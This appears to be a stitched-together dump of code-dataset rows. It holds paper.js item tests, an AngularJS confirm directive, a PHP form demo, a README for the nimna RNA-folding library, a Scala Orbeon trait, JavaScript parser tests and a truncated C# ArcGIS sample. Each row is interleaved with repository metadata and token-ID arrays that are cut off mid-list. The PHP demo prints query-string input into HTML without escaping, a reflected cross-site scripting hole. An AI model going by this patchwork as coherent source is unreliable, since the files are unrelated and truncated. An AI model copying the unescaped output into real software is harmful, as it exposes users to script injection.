return project.activeLayer.children.length;
}, 1);
});
test('item.parent / item.isChild / item.isParent / item.layer', function() {
var project = paper.project;
var secondDoc = new Project();
var path = new Path();
project.activeLayer.addChild(path);
equals(function() {
return project.activeLayer.children.indexOf(path) != -1;
}, true);
equals(function() {
return path.layer == project.activeLayer;
}, true);
secondDoc.activeLayer.addChild(path);
equals(function() {
return project.activeLayer.isChild(path);
}, false);
equals(function() {
return path.layer == secondDoc.activeLayer;
}, true);
equals(function() {
return path.isParent(project.activeLayer);
}, false);
equals(function() {
return secondDoc.activeLayer.isChild(path);
}, true);
equals(function() {
return path.isParent(secondDoc.activeLayer);
}, true);
equals(function() {
return project.activeLayer.children.indexOf(path) == -1;
}, true);
equals(function() {
return secondDoc.activeLayer.children.indexOf(path) == 0;
}, true);
});
test('item.lastChild / item.firstChild', function() {
var project = paper.project;
var path = new Path();
var secondPath = new Path();
equals(function() {
return project.activeLayer.firstChild == path;
}, true);
equals(function() {
return project.activeLayer.lastChild == secondPath;
}, true);
});
test('insertChild(0, item)', function() {
var project = paper.project;
var path = new Path();
var secondPath = new Path();
project.activeLayer.insertChild(0, secondPath);
equals(function() {
return secondPath.index < path.index;
}, true);
});
test('insertAbove(item)', function() {
var project = paper.project;
var path = new Path();
var secondPath = new Path();
path.insertAbove(secondPath);
equals(function() {
return project.activeLayer.lastChild == path;
}, true);
});
test('insertBelow(item)', function() {
var project = paper.project;
var firstPath = new Path();
var secondPath = new Path();
equals(function() {
return secondPath.index > firstPath.index;
}, true);
secondPath.insertBelow(firstPath);
equals(function() {
return secondPath.index < firstPath.index;
}, true);
});
test('isDescendant(item) / isAncestor(item)', function() {
var project = paper.project;
var path = new Path();
equals(function() {
return path.isDescendant(project.activeLayer);
}, true);
equals(function() {
return project.activeLayer.isDescendant(path);
}, false);
equals(function() {
return path.isAncestor(project.activeLayer);
}, false);
equals(function() {
return project.activeLayer.isAncestor(path);
}, true);
// an item can't be its own descendant:
equals(function() {
return project.activeLayer.isDescendant(project.activeLayer);
}, false);
// an item can't be its own ancestor:
equals(function() {
return project.activeLayer.isAncestor(project.activeLayer);
}, false);
});
test('isGroupedWith', function() {
var project = paper.project;
var path = new Path();
var secondPath = new Path();
var group = new Group([path]);
var secondGroup = new Group([secondPath]);
equals(function() {
return path.isGroupedWith(secondPath);
}, false);
secondGroup.addChild(path);
equals(function() {
return path.isGroupedWith(secondPath);
}, true);
equals(function() {
return path.isGroupedWith(group);
}, false);
equals(function() {
return path.isDescendant(secondGroup);
}, true);
equals(function() {
return secondGroup.isDescendant(path);
}, false);
equals(function() {
return secondGroup.isDescendant(secondGroup);
}, false);
equals(function() {
return path.isGroupedWith(secondGroup);
}, false);
paper.project.activeLayer.addChild(path);
equals(function() {
return path.isGroupedWith(secondPath);
}, false);
paper.project.activeLayer.addChild(secondPath);
equals(function() {
return path.isGroupedWith(secondPath);
}, false);
});
test('getPreviousSibling() / getNextSibling()', function() {
var firstPath = new Path();
var secondPath = new Path();
equals(function() {
return firstPath.nextSibling == secondPath;
}, true);
equals(function() {
return secondPath.previousSibling == firstPath;
}, true);
equals(function() {
return secondPath.nextSibling == null;
}, true);
});
test('reverseChildren()', function() {
var project = paper.project;
var path = new Path();
var secondPath = new Path();
var thirdPath = new Path();
equals(function() {
return project.activeLayer.firstChild == path;
}, true);
project.activeLayer.reverseChildren();
equals(function() {
return project.activeLayer.firstChild == path;
}, false);
equals(function() {
return project.activeLayer.firstChild == thirdPath;
}, true);
equals(function() {
return project.activeLayer.lastChild == path;
}, true);
});
test('Check item#project when moving items across projects', function() {
var project = paper.project;
var doc1 = new Project();
var path = new Path();
var group = new Group();
group.addChild(new Path());
equals(function() {
return path.project == doc1;
}, true);
var doc2 = new Project();
doc2.activeLayer.addChild(path);
equals(function() {
return path.project == doc2;
}, true);
doc2.activeLayer.addChild(group);
equals(function() {
return group.children[0].project == doc2;
}, true);
});
test('group.selected', function() {
var path = new Path([0, 0]);
var path2 = new Path([0, 0]);
var group = new Group([path, path2]);
path.selected = true;
equals(function() {
return group.selected;
}, true);
path.selected = false;
equals(function() {
return group.selected;
}, false);
group.selected = true;
equals(function() {
return path.selected;
}, true);
equals(function() {
return path2.selected;
}, true);
group.selected = false;
equals(function() {
return path.selected;
}, false);
equals(function() {
return path2.selected;
}, false);
});
test('Check parent children object for named item', function() {
var path = new Path();
path.name = 'test';
equals(function() {
return paper.project.activeLayer.children['test'] == path;
}, true);
var path2 = new Path();
path2.name = 'test';
equals(function() {
return paper.project.activeLayer.children['test'] == path2;
}, true);
path2.remove();
equals(function() {
return paper.project.activeLayer.children['test'] == path;
}, true);
path.remove();
equals(function() {
return !paper.project.activeLayer.children['test'];
}, true);
});
test('Named child access 1', function() {
var path = new Path();
path.name = 'test';
var path2 = new Path();
path2.name = 'test';
path.remove();
equals(function() {
return paper.project.activeLayer.children['test'] == path2;
}, true);
});
test('Named child access 2', function() {
var path = new Path();
path.name = 'test';
var path2 = new Path();
path2.name = 'test';
path.remove();
equals(function() {
return paper.project.activeLayer.children['test'] == path2;
}, true);
equals(function() {
return paper.project.activeLayer._namedChildren['test'].length == 1;
}, true);
path2.remove();
equals(function() {
return !paper.project.activeLayer._namedChildren['test'];
}, true);
equals(function() {
return paper.project.activeLayer.children['test'] === undefined;
}, true);
});
test('Named child access 3', function() {
var path = new Path();
path.name = 'test';
var path2 = new Path();
path2.name = 'test';
var group = new Group();
group.addChild(path2);
equals(function() {
return paper.project.activeLayer.children['test'] == path;
}, true);
// TODO: Tests should not access internal properties
equals(function() {
return paper.project.activeLayer._namedChildren['test'].length;
}, 1);
equals(function() {
return group.children['test'] == path2;
}, true);
equals(function() {
return group._namedChildren['test'].length == 1;
}, true);
equals(function() {
return paper.project.activeLayer._namedChildren['test'][0] == path;
}, true);
paper.project.activeLayer.appendTop(path2);
equals(function() {
return group.children['test'] == null;
}, true);
equals(function() {
return group._namedChildren['test'] === undefined;
}, true);
equals(function() {
return paper.project.activeLayer.children['test'] == path2;
}, true);
equals(function() {
return paper.project.activeLayer._namedChildren['test'].length;
}, 2);
});
test('Setting name of child back to null', function() {
var path = new Path();
path.name = 'test';
var path2 = new Path();
path2.name = 'test';
equals(function() {
return paper.project.activeLayer.children['test'] == path2;
}, true);
path2.name = null;
equals(function() {
return paper.project.activeLayer.children['test'] == path;
}, true);
path.name = null;
equals(function() {
return paper.project.activeLayer.children['test'] === undefined;
}, true);
});
test('Renaming item', function() {
var path = new Path();
path.name = 'test';
path.name = 'test2';
equals(function() {
return paper.project.activeLayer.children['test'] === undefined;
}, true);
equals(function() {
return paper.project.activeLayer.children['test2'] == path;
}, true);
});
test('Changing item#position.x', function() {
var path = new Path.Circle(new Point(50, 50), 50);
path.position.x += 5;
equals(path.position.toString(), '{ x: 55, y: 50 }', 'path.position.x += 5');
});
test('Naming a removed item', function() {
var path = new Path();
path.remove();
path.name = 'test';
});
test('Naming a layer', function() {
var layer = new Layer();
layer.name = 'test';
});
test('Cloning a linked size', function() {
var path = new Path([40, 75], [140, 75]);
var error = null;
try {
var cloneSize = path.bounds.size.clone();
} catch (e) {
error = e;
}
var description = 'Cloning a linked size should not throw an error';
if (error)
description += ': ' + error;
equals(error == null, true, description);
}); | 0/paper.js | test/tests/Item.js | JavaScript | mit | 11,427 | [
30522,
1013,
1008,
1008,
3259,
1012,
1046,
2015,
1008,
1008,
2023,
5371,
2003,
2112,
1997,
3259,
1012,
1046,
2015,
1010,
1037,
9262,
22483,
9207,
8389,
3075,
1010,
1008,
2241,
2006,
5896,
26145,
1012,
8917,
1998,
2881,
2000,
2022,
4321,
1... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
angular.module('app').directive('ngReallyClick', [function() {
return {
restrict: 'A',
link: function(scope, element, attrs) {
element.bind('click', function() {
var message = attrs.ngReallyMessage;
if (message && confirm(message)) {
scope.$apply(attrs.ngReallyClick);
}
});
}
}
}]); | flextry/RateMyX | public/app/directives/reallyClick.js | JavaScript | mit | 407 | [
30522,
16108,
1012,
11336,
1006,
1005,
10439,
1005,
1007,
1012,
16449,
1006,
1005,
12835,
22852,
2135,
20464,
6799,
1005,
1010,
1031,
3853,
1006,
1007,
1063,
2709,
1063,
21573,
1024,
1005,
1037,
1005,
1010,
4957,
1024,
3853,
1006,
9531,
101... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<html>
<head><title>PHP Example: Form Get (Submit + Receive)</title></head>
<body>
<form method="get" action="" >
<div>
<p>First Name: <input type="text" name="first_name"></p>
<p>Last Name: <input type="text" name="last_name"></p>
<p>Favorite Class: <input type="text" name="favorite_class"></p>
<p><input type="submit"></p>
</div>
</form>
<?php
/** After a get, print the results for demonstration purposes
* This will show errors on initial page load. */
if($_SERVER['REQUEST_METHOD'] == "GET")
{
# Get value of first name input field
$first_name = isset($_GET['first_name']) ? $_GET['first_name'] : "";
# Get the value of the last name input field.
$last_name = isset($_GET['last_name']) ? $_GET['last_name'] : "";
# Get the value of the favorite os input field.
$favorite_class = isset($_GET['favorite_class']) ? $_GET['favorite_class'] : "";
?>
<!-- Print received values -->
<div>
<p>Received the following results:</p>
<p>First Name: "<?= $first_name; ?>"</p>
<p>Last Name: "<?= $last_name; ?>"</p>
<p>Favorite Class: "<?= $favorite_class; ?>"</p>
</div>
<!-- Print results summary -->
<div>
<p>
Guess what?! <?= $first_name . ' ' . $last_name; ?>'s favorite class is <?= $favorite_class; ?>!!!
</p>
</div>
<?php } ?>
</body>
</html>
| BoiseState/CS401-lab | php/forms-post-get/post-get-basics/form_get.php | PHP | mit | 1,290 | [
30522,
1026,
16129,
1028,
1026,
2132,
1028,
1026,
2516,
1028,
25718,
2742,
1024,
2433,
2131,
1006,
12040,
1009,
4374,
1007,
1026,
1013,
2516,
1028,
1026,
1013,
2132,
1028,
1026,
2303,
1028,
1026,
2433,
4118,
1027,
1000,
2131,
1000,
2895,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
# nimna
**nim** **n**ucleic **a**cid folding.
## What is nimna?
**nimna** is a set of bindings to [ViennaRNA](https://www.tbi.univie.ac.at/RNA/), a library for RNA and DNA folding applications. It consists of a very thin `c2nim` wrapper `RNA.nim`, as well as a high level interface `nimna.nim`, which wraps the many pointers used in the ViennaRNA into garbage collected `ref objects` to make the library easier to use. Furthermore, it provides nucleic acid design functionality in the form of an 'artificial immune-system' algorithm in `design.nim`.
## Installation
Installation of `nimna` and its dependencies is automatically handled using `nimble install`. This tries to autodetect, whether a suitable dynamic library version of `libRNA` exists on your computer. If that is not the case, it pulls all files necessary for installation from the web and installs them. In case of Windows, the ViennaRNA installer is started and you may need to complete the
some installation steps manually, while for \*nix ViennaRNA is built from source. As such, it suffices for most use-cases to just perform:
```
$ nimble install nimna
```
or
```
$ nimble install <this repository's url>
```
As nimble currently does not allow `uninstall` hooks, `nimna` provides a command to clean up dependencies, should you want to uninstall `nimna`:
```
$ nimnacleanup
```
This removes the dependency folder in the `nimna` package. If this is not done, nimble cannot fully remove `nimna's` package directory, leaving the deps folder to lie around.
## What can I do with it?
`nimna` currently provides the functionality implemented in ViennaRNA, as well as some extra bits. As `nimna`'s current status is a *work-in-progress*, the set of available functionality will be steadily growing. You can find more documentation, as well as short examples for every submodule [here](https://mjendrusch.github.io/projects/nimna/nimna)
Here's an incomplete list of what can be done with `nimna`:
### Partition function (pf) and minimum free energy (mfe) folding
Folding for single molecules:
```nim
let
sequence = compound"CCCCCAAAGGGGG"
mfeResult = sequence.mfe
pfResult = sequence.pf
echo mfeResult.struc # prints (((((...)))))
echo mfeResult.E # prints the free energy
# of folding in kcal/mol
echo pfResult.struc # prints (((((...)))))
echo pfResult.E # prints the ensemble free
# energy of folding in kcal/mol
```
Folding for dimers and alignments works analogously after creation of suitable `Compound` objects.
### Free energy evaluation of structures
When no full folding prediction is required, `nimna` allows for the computation of free energies of given secondary structures for a `Compound`:
```nim
echo sequence.eval("(((((...)))))") # Prints the free
# energy of folding
# for the given
# structure.
echo sequence.evalRemove(
"(((((...)))))", 0, 12) # Prints the free energy of
# removing the base pair of
# the first and last
# nucleotides
echo sequence.evalAdd(
".((((...)))).", 0, 12) # Prints the free energy of
# adding a base pair between
# the first and last
# nucleotides
```
### Access to base pairing probabilities
When using partition function folding (`pf`), base pairing probabilities are set in the `Compound` object, an immutable view of which can be created later:
```nim
let probs = sequence.probabilities
echo probs[i, j] # prints the probability of bases
# i and j in `sequence` forming
# a base pair.
echo sequence.prob(i, j) # prints the same as above.
```
A `Probabilities` object created from a `Compound` may be iterated over using a set of iterators provided in `nimna`:
```nim
for elem in probs.items:
echo elem # prints each and every
# entry in the probability matrix.
for pos, prob in probs.pairs:
echo pos.i, " : ", pos.j, " : ", prob
# prints the base positions together
# with the associated probabilities.
for i, j, prob in probs.triples:
echo i, " : ", j, " : ", prob
# prints the same as above.
for pos in probs.positions:
for elem in pos:
echo elem # for every base in the Compound
# prints the base pairing probability
# of that base with all other bases.
```
### Fine tuning of folding parameters
Although standard folding parameters are often deemed sufficient for many use cases, tuning of parameters may be required for more specialized analyses. To that end `nimna` provides the means to adjust the folding parameters at will:
```nim
# Use the `settings` macro to create a new
# set of folding parameters:
let
settings = settings(
temperature = 25.0, # Set the folding
# temperature to 25°C
noGU = 1 # Disallow G--U base pairs
)
# Parameters for mfe folding
mfeParams = settings.toParams
# Parameters for pf folding
pfParams = settings.toScaledParams
# Now, update the compound with those parameters:
sequence.update(mfeParams) # Update parameters
# for mfe folding only.
sequence.update(pfParams) # Update parameters
# for pf folding only.
sequence.update(settings) # Update all parameters.
```
### Application of soft and hard constraints to compounds
For certain applications, for example for working with aptamers protein binding domains, Ag-nanocluster forming sequences and other sequences with strong outside (i.e. non DNA/RNA) influences on folding, it is necessary to inform the folding algorithm about the presence of those structures. This is done using (hard or soft) constraints encoding the outside influence, its free energy of
interaction and the resulting secondary structure resulting upon interaction. To that end, `nimna` provides access to the full spectrum of constraints implemented in ViennaRNA.
Hard constraints __force__ the nucleic acid to fold in certain ways, regardless of other, perhaps more favourable interactions involved. They are set using `forceX`, where `X` is one of `paired, unpaired`:
```nim
# Given a compound `sequence`, constrain its
# i'th and j'th base to pair:
sequence.forcePaired(i, j)
# constrain its k'th base to stay unpaired:
sequence.forceUnpaired(k)
# constrain it according to a dot-bracket string:
sequence.constrain("x((((xxx))))x") # 'x' means:
# must not pair
# lift all constraints
sequence.liftConstraints
```
Soft constraints register base pairs or motifs with a certain __preferred__ free energy of interaction, which are then incorporated into folding prediction. This allows for correct folding, when lower energy interactions outside the constraints are available. They are set using `preferX`, where `X` is one of `paired, unpaired`:
```nim
# Given a compound `sequence`, add a beneficial
# free energy contribution of -10.0 kcal/mol to
# the base pairing of its i'th and j'th base:
sequence.preferPaired(i, j, -10.0)
# Do the same for its k'th base to stay unpaired:
sequence.preferUnpaired(k, -10.0)
# Do the same for a motif `CCAA` in `sequence`
sequence.preferMotif("CCAA", -10)
# Lift all preferences
sequence.liftPreferences
```
### Nucleic acid design
`nimna` provides an 'artificial immune system'-based nucleic acid design algorithm for automatic design of nucleic acids according to a user-specified fitness function:
```nim
# Define a fitness function:
proc fitness(c: Compound): float =
c.eval("(((((((...))))..)))")
# create a new `DesignEngine`:
let design = newEngine(20, fitness)
# constrain the sequence space to be searched:
design.pattern = "NNNNNNNATGCNNNYHGNN"
# specify a structure for structure-consistent mutation.
# this ensures, that the three base pairs around the
# three-nucleotide-loop are mutated together, such that
# they form Watson-Crick base pairs:
design.structure = "....(((...)))......"
# set the folding parameters:
design.settings = settings(temperature = 25.0)
# set the mutation probability:
design.mutationProbability = 0.6
# run the algorithm for 100 steps:
design.step(100)
# print the best sequence according to
# the fitness function:
echo design.best.sequence
```
### A more complete list of available functionality
* Folding:
* Partition function folding for one or more molecules, as well as alignments.
* Minimum free energy folding for one or more molecules, as well as alignments..
* Centroid structure folding for one or more molecules.
* 2DFold (MFE and partition function).
* Maximum expected accuracy folding.
* Generation of suboptimal structures and energies.
* Constraints:
* Hard constraints are fully supported.
* Soft constraints are fully supported.
* Structured ligand binding constraints are fully supported.
* Model Details:
* Updating of model details associated with a molecule.
* Generating MFE and PF parameters from model details.
* Macro for easily generating model details.
* Parameters:
* Updating of parameters associated with a molecule.
* Probability Matrix:
* Probability matrix exposed as `Probabilities = ref object`.
* Extracting values from the probability matrix of
partition function folding.
* Generating a Density Plot of the base pairing probability
in a terminal emulator.
* Nucleic acid design:
* Generating nucleic acid sequences corresponding to local minima in
user-defined fitness functions.
* Miscellaneous:
* Generating reasonably random DNA/RNA sequences.
* Evaluating energies of secondary structures.
* Sampling secondary structures from ensembles computed with
`pf` and `pf2D`.
* Iterators for all types which can be iterated over.
* Reading and writing parameter files.
## A short example:
```nim
# We want to fold a sequence at multiple temperatures,
# and see how the base pairing probabilities change:
import nimna
import strutils
let rna = compound"GGGGGAGGAAACCTTCCCC"
for deltaT in 0..200:
let T = 20.0 + deltaT.float / 10.0
discard rna.update(settings(temperature = T)).pf
if deltaT != 0:
# This makes use of ANSI-escapes to move the cursor
# up to the beginning of the plot, to write over it
# again, so we can have a nice animation.
echo "\e[$1A" % $(rna.length + 2)
rna.densityPlot
```
## iGEM disclaimer
`nimna` is not a project of a Heidelberg iGEM team, future or past. Certainly, it was inspired by the work of the [Heidelberg iGEM team 2015](http://2015.igem.org/Team:Heidelberg) but it is its own project, which I work on, on my own time and which **will be maintained and supported**, in contrast to some iGEM code out there.
| mjendrusch/nimna | README.md | Markdown | mit | 10,827 | [
30522,
1001,
9152,
2213,
2532,
1008,
1008,
9152,
2213,
1008,
1008,
1008,
1008,
1050,
1008,
1008,
15384,
23057,
2278,
1008,
1008,
1037,
1008,
1008,
28744,
12745,
1012,
1001,
1001,
2054,
2003,
9152,
2213,
2532,
1029,
1008,
1008,
9152,
2213,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/**
* Copyright (C) 2013 Orbeon, Inc.
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU Lesser General Public License as published by the Free Software Foundation; either version
* 2.1 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU Lesser General Public License for more details.
*
* The full text of the license is available at http://www.gnu.org/copyleft/lesser.html
*/
package org.orbeon.oxf.fr
import org.orbeon.saxon.om.NodeInfo
import org.orbeon.oxf.xml.XMLUtils
import org.orbeon.scaxon.XML._
import org.orbeon.oxf.fr.FormRunner._
trait FormRunnerSummary {
// Get a field's label in HTML for the Summary page
//@XPathFunction
def htmlFieldLabel(name: String, htmlLabel: Boolean, resources: NodeInfo): String = {
def resourceLabelOpt = (resources \ name \ "label" map (v ⇒ if (htmlLabel) v.stringValue else XMLUtils.escapeXMLMinimal(v.stringValue))).headOption
resourceLabelOpt getOrElse '[' + name + ']'
}
//@XPathFunction
def duplicate(data: NodeInfo, app: String, form: String, fromDocument: String, toDocument: String, formVersion: String): Unit = {
val someFormVersion = Some(formVersion) // use the same form version as the data to clone
putWithAttachments(
data = data.root,
toBaseURI = "", // local save
fromBasePath = createFormDataBasePath(app, form, isDraft = false, fromDocument),
toBasePath = createFormDataBasePath(app, form, isDraft = false, toDocument),
filename = "data.xml",
commonQueryString = "",
forceAttachments = true,
formVersion = someFormVersion
)
}
}
| wesley1001/orbeon-forms | src/main/scala/org/orbeon/oxf/fr/FormRunnerSummary.scala | Scala | lgpl-2.1 | 1,906 | [
30522,
1013,
1008,
1008,
1008,
9385,
1006,
1039,
1007,
2286,
19607,
10242,
1010,
4297,
1012,
1008,
1008,
2023,
2565,
2003,
2489,
4007,
1025,
2017,
2064,
2417,
2923,
3089,
8569,
2618,
2009,
1998,
1013,
2030,
19933,
2009,
2104,
1996,
3408,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
const test = require('tape')
const parse = require('../../parse').element('Body')
test('b(N+1,N+2)', function (t) {
const res = parse('b(N+1,N+2)')
t.equal(typeof res, 'object')
t.ok(res instanceof Array)
t.equal(res.length, 1)
t.end()
})
test('b(N+1,N+2), c(N-1)', function (t) {
const res = parse('b(N+1,N+2), c(N-1)')
t.equal(typeof res, 'object')
t.ok(res instanceof Array)
t.equal(res.length, 2)
t.end()
})
| fnogatz/CHR.js | test/parser/body.js | JavaScript | mit | 439 | [
30522,
9530,
3367,
3231,
1027,
5478,
1006,
1005,
6823,
1005,
1007,
9530,
3367,
11968,
3366,
1027,
5478,
1006,
1005,
1012,
1012,
1013,
1012,
1012,
1013,
11968,
3366,
1005,
1007,
1012,
5783,
1006,
1005,
2303,
1005,
1007,
3231,
1006,
1005,
1... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
using Esri.ArcGISRuntime.Controls;
using Esri.ArcGISRuntime.Geometry;
using Esri.ArcGISRuntime.Layers;
using Esri.ArcGISRuntime.Symbology;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Windows.Foundation;
using Windows.UI;
using Windows.UI.Popups;
using Windows.UI.Xaml;
using Windows.UI.Xaml.Controls;
namespace ArcGISRuntime.Samples.Phone.Samples
{
/// <summary>
/// This sample demonstrates GraphicLayer selection management.
/// </summary>
/// <title>Selection</title>
/// <category>Graphics Layers</category>
public sealed partial class GraphicsLayerSelection : Page
{
private const int MAX_GRAPHICS = 50;
private Random _random = new Random();
private GraphicsLayer _graphicsLayer;
public GraphicsLayerSelection()
{
this.InitializeComponent();
_graphicsLayer = MyMapView.Map.Layers["GraphicsLayer"] as GraphicsLayer;
SetGraphicsCountUI();
CreateGraphics();
}
// Add selected graphics to graphics layer selection
private async void AddSelectButton_Click(object sender, RoutedEventArgs e)
{
try
{
var graphics = await FindIntersectingGraphicsAsync();
foreach (var graphic in graphics)
{
graphic.IsSelected = true;
}
SetGraphicsCountUI();
}
catch (TaskCanceledException) { }
catch (Exception ex)
{
var _x = new MessageDialog("Selection Error: " + ex.Message, "Graphics Layer Selection Sample").ShowAsync();
}
}
// Remove selected graphics from graphics layer selection
private async void RemoveSelectButton_Click(object sender, RoutedEventArgs e)
{
try
{
var graphics = await FindIntersectingGraphicsAsync();
foreach (var graphic in graphics)
{
graphic.IsSelected = false;
}
SetGraphicsCountUI();
}
catch (TaskCanceledException) { }
catch (Exception ex)
{
var _x = new MessageDialog("Selection Error: " + ex.Message, "Graphics Layer Selection Sample").ShowAsync();
}
}
// Clear graphics layer selection
private void ClearSelectButton_Click(object sender, RoutedEventArgs e)
{
try
{
_graphicsLayer.ClearSelection();
SetGraphicsCountUI();
}
catch (Exception ex)
{
var _x = new MessageDialog("Selection Error: " + ex.Message, "Graphics Layer Selection Sample").ShowAsync();
}
}
// Retrieve a user click point and return hit tested graphics
private async Task<IEnumerable<Graphic>> FindIntersectingGraphicsAsync()
{
var mapRect = await MyMapView.Editor.RequestShapeAsync(DrawShape.Envelope) as Envelope;
Rect winRect = new Rect(
MyMapView.LocationToScreen(new MapPoint(mapRect.XMin, mapRect.YMax, MyMapView.SpatialReference)),
MyMapView.LocationToScreen(new MapPoint(mapRect.XMax, mapRect.YMin, MyMapView.SpatialReference)));
return await _graphicsLayer.HitTestAsync(MyMapView, winRect, MAX_GRAPHICS);
}
private void SetGraphicsCountUI()
{
txtSelectionCount.Text = _graphicsLayer.SelectedGraphics.Count().ToString();
}
// Add new random graphics to the graphics layer
private async void CreateGraphics()
{
try
{
await MyMapView.LayersLoadedAsync();
for (int n = 1; n <= MAX_GRAPHICS; ++n)
